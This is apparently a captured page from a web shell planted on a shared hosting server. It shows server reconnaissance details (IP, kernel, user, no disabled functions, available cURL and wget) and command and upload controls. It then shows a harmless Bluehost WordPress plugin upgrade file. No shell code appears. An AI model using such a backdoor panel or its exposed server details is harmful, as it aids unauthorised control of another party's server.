Server IP : 162.214.80.37 / Your IP : 216.73.216.68 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /opt/wp/plugins/bluehost-wordpress-plugin/inc/upgrades/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Handle updates for version 2.2.2 * * @package Bluehost */ // Deactivate the Mojo plugin since this plugin is meant to replace it require_once ABSPATH . 'wp-admin/includes/plugin.php'; if ( is_plugin_active( 'mojo-marketplace-wp-plugin/mojo-marketplace.php' ) ) { deactivate_plugins( 'mojo-marketplace-wp-plugin/mojo-marketplace.php' ); } // Remove old cron schedules wp_clear_scheduled_hook( 'mm_cron_hourly' ); wp_clear_scheduled_hook( 'mm_cron_twicedaily' ); wp_clear_scheduled_hook( 'mm_cron_daily' ); wp_clear_scheduled_hook( 'mm_cron_weekly' ); wp_clear_scheduled_hook( 'mm_cron_monthly' );